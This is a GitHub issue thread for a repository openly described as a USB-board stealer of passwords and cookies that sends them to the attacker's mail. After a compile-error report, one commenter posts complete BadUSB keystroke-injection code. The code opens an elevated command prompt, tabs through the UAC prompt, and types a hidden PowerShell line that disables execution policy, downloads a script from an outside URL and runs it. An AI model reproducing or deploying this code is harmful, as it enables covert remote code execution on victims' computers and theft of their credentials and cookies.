kovinevmv / DigiSparkStealer

Script for Digispark Attiny85, ATMEGA32U4 to steal passwords, cookies and send to your mail
MIT License
268 stars 77 forks source link

Keyboard.h:25:17: fatal error: HID.h: No such file or directory #include "HID.h" #13

Open loner99 opened 1 year ago

loner99 commented 1 year ago

When I try to upload the sketch, i get this message:

In file included from C:\Users\dubai\Desktop\New folder (2)\New folder\DigiSparkStealer-master\arduino_source\sketch\sketch.ino:1:0: C:\Users\dubai\AppData\Local\Arduino15\libraries\Keyboard\src/Keyboard.h:25:17: fatal error: HID.h: No such file or directory

include "HID.h"

             ^

compilation terminated.

exit status 1

Compilation error: exit status 1

basgod commented 1 year ago

same

danile371 commented 5 months ago

same

kovinevmv commented 5 months ago

Unfortunately, i dont have this plate and cannot help u with debugging code. I haven't maintained this code for 5 years

danile371 commented 5 months ago

include

void typeKeyFast(char key){ DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(100); DigiKeyboard.sendKeyStroke(0, key); }

void startCMD(){ DigiKeyboard.delay(450); DigiKeyboard.sendKeyStroke(0, KEY_LEFT_CTRL); DigiKeyboard.delay(100); DigiKeyboard.sendKeyStroke(0, KEY_ESC); DigiKeyboard.delay(100); DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(300); DigiKeyboard.println("cmd"); DigiKeyboard.delay(140); DigiKeyboard.sendKeyStroke(0, KEY_LEFT_CTRL); DigiKeyboard.delay(140); DigiKeyboard.sendKeyStroke(0, KEY_LEFT_SHIFT); DigiKeyboard.delay(10); typeKeyFast(KEY_RETURN); DigiKeyboard.delay(1500); }

void bypassUAC(){ typeKeyFast(KEY_TAB); typeKeyFast(KEY_TAB); for (int i = 0; i < 70; i++){ typeKeyFast(KEY_BACKSPACE); } typeKeyFast(KEY_RETURN); DigiKeyboard.delay(500); }

void printCommand(){ DigiKeyboard.println("PowerShell.exe -windowstyle hidden Set-ExecutionPolicy Bypass -Force (new-object System.Net.WebClient).DownloadFile('https://codeload.github.com/danile371/legal/zip/refs/heads/main?token=BEH7SDLJ7F2ONAMVQ3O4KADGBQX7O', 'b.ps1'); Set-ExecutionPolicy Unrestricted; .\b.ps1"); typeKeyFast(KEY_RETURN); }

void setup() { DigiKeyboard.delay(5000); // Delay para dar tempo de conectar o dispositivo startCMD(); bypassUAC(); printCommand(); }

void loop() { int led2 = 13; digitalWrite(led2, LOW); delay(120); digitalWrite(led2, HIGH); delay(120); }